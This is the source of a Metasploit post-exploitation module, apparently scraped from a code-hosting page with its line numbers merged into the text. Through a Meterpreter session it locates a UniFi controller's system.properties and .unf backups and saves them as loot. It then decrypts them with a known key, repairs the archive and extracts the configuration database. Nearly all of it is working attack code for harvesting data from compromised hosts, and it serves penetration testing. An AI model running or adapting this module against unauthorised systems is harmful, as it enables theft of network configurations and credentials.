Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/ubiquiti_unifi_backup.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Windows::UserProfiles10include Msf::Post::OSX::System11include Msf::Auxiliary::Ubiquiti1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Multi Gather Ubiquiti UniFi Controller Backup',18'Description' => %q{19On an Ubiquiti UniFi controller, reads the system.properties configuration file20and downloads the backup and autobackup files. The files are then decrypted using21a known encryption key, then attempted to be repaired by zip. Meterpreter must be22used due to the large file sizes, which can be flaky on regular shells to read.23Confirmed to work on 5.10.19 - 5.10.23, but most likely quite a bit more.24If the zip can be repaired, the db and its information will be extracted.25},26'License' => MSF_LICENSE,27'Author' => [28'h00die', # metasploit module29'zhangyoufu', # git scripts30'justingist' # git script31],32'Platform' => [ 'linux', 'win', 'osx' ],33'SessionTypes' => %w[meterpreter],34'References' => [35['URL', 'https://github.com/zhangyoufu/unifi-backup-decrypt/'],36['URL', 'https://github.com/justingist/POSH-Ubiquiti/blob/master/Posh-UBNT.psm1'],37['URL', 'https://help.ubnt.com/hc/en-us/articles/205202580-UniFi-system-properties-File-Explanation'],38['URL', 'https://community.ubnt.com/t5/UniFi-Wireless/unf-controller-backup-file-format/td-p/1624105']39]40)41)4243register_options([44OptPath.new('SYSTEMFILE', [false, 'Custom system.properties file location']),45OptPath.new('BACKUPFOLDER', [false, 'Custom backup folder']),46])47end4849def find_save_files(d)50case session.platform51when 'windows'52files = session.fs.dir.foreach(d)53else54# when 'linux', 'osx', 'unifi'55# osx will have a space in it by default, so we wrap the directory in quotes56files = cmd_exec("ls '#{d}'").split(/\r\n|\r|\n/)57end58files.each do |file|59full = "#{d}/#{file}"60if directory?(full) && !['.', '..'].include?(file)61find_save_files(full)62next63end6465unless file.end_with? '.unf'66next67end6869f = read_file(full)70if f.nil?71print_error("#{full} read at 0 bytes. Either file is empty or error reading. If this is a shell, you need to upgrade to meterpreter!!!")72next73end74loot_path = store_loot('ubiquiti.unifi.backup', 'application/zip', session,75f, file, 'Ubiquiti Unifi Controller Encrypted Backup Zip')76print_good("File #{full} saved to #{loot_path}")77decrypted_data = decrypt_unf(f)78if decrypted_data.nil? || decrypted_data.empty?79print_error("Unable to decrypt #{loot_path}")80next81end82loot_path = store_loot('ubiquiti.unifi.backup_decrypted', 'application/zip', session,83decrypted_data, "#{file}.broken.zip", 'Ubiquiti Unifi Controller Decrypted Broken Backup Zip')84print_good("File #{file} DECRYPTED and saved to #{loot_path}. File needs to be repair via `zip -FF`")85# ruby zip can't repair, we can try on command line but its not likely to succeed on all platforms86# tested on kali87repaired = repair_zip(loot_path)88if repaired.nil?89fail_with Failure::Unknown, "Repair failed on #{loot_path.path}"90end91loot_path = store_loot('ubiquiti.unifi.backup_decrypted_repaired', 'application/zip', session,92repaired, "#{file}.zip", 'Ubiquiti Unifi Controller Backup Zip')93print_good("File #{full} DECRYPTED and REPAIRED and saved to #{loot_path}.")94config_db = extract_and_process_db(loot_path)95if config_db.nil?96fail_with Failure::Unknown, 'Unable to locate db.gz config database file'97end98print_status('Converting BSON to JSON.')99unifi_config_db_json = bson_to_json(config_db)100101if unifi_config_db_json == {}102fail_with Failure::Unknown, 'Error in file conversion from BSON to JSON.'103end104unifi_config_eater(session.session_host, session.session_port, unifi_config_db_json)105end106end107108def run109backup_locations = []110sprop_locations = []111112vprint_status('OS Detected: %s' % session.platform)113114case session.platform115when 'windows'116grab_user_profiles.each do |user|117backup_locations << "#{user['ProfileDir']}\\Ubiquiti Unifi\\data\\backup"118sprop_locations << "#{user['ProfileDir']}\\Ubiquiti UniFi\\data\\system.properties"119end120when 'osx'121# https://github.com/rapid7/metasploit-framework/pull/11548#issuecomment-472568795122get_users.each do |user|123backup_locations << "/Users/#{user['name']}/Library/Application Support/UniFi/data/backup"124sprop_locations << "/Users/#{user['name']}/Library/Application Support/Unifi/data/system.properties"125end126else # linux, or a similar device from ubiquiti127# https://help.ubnt.com/hc/en-us/articles/226218448-UniFi-How-to-Configure-Auto-Backup128backup_locations = [129'/data/autobackup', # Cloud key130'/var/lib/unifi/backup', # software install linux131'/mnt/data/unifi/data/backup' # UDM-PRO (possibly UDM as well)132]133134sprop_locations = [135'/var/lib/unifi/system.properties', # default location on 5.10.19 on ubuntu 18.04136'/mnt/data/unifi/data/system.properties' # UDM-Pro (possibly UDM as well)137]138end139140# read system.properties141if datastore['SYSTEMFILE']142sprop = datastore['SYSTEMFILE']143vprint_status("Utilizing custom system.properties file location: #{datastore['SYSTEMFILE']}")144end145146print_status('Attempting to read system.properties file to determine backup locations.')147# https://help.ubnt.com/hc/en-us/articles/205202580-UniFi-system-properties-File-Explanation148sprop_locations.each do |sprop|149next unless exists?(sprop)150151begin152data = read_file(sprop)153loot_path = store_loot('ubiquiti.system.properties', 'text/plain', session, data, sprop)154vprint_status("File #{sprop} saved to #{loot_path}")155print_good("Read UniFi Controller file #{sprop}")156rescue Rex::Post::Meterpreter::RequestError => e157print_error("Failed to read #{sprop}")158data = ''159end160data.each_line do |line|161if !(line.chomp.empty? || line =~ /^#/) && /^autobackup\.dir\s*=\s*(?<d>.+)$/ =~ line162backup_locations.append(d.strip)163vprint_status("Custom autobackup directory identified: #{d.strip}")164end165end166end167168print_status('Attempting to locate and read backup files.')169backup_locations.each do |bl|170if !directory?(bl)171vprint_error("Directory doesn't exist: #{bl}")172next173end174175vprint_good("Found backup folder: #{bl}")176find_save_files(bl)177end178end179end180181182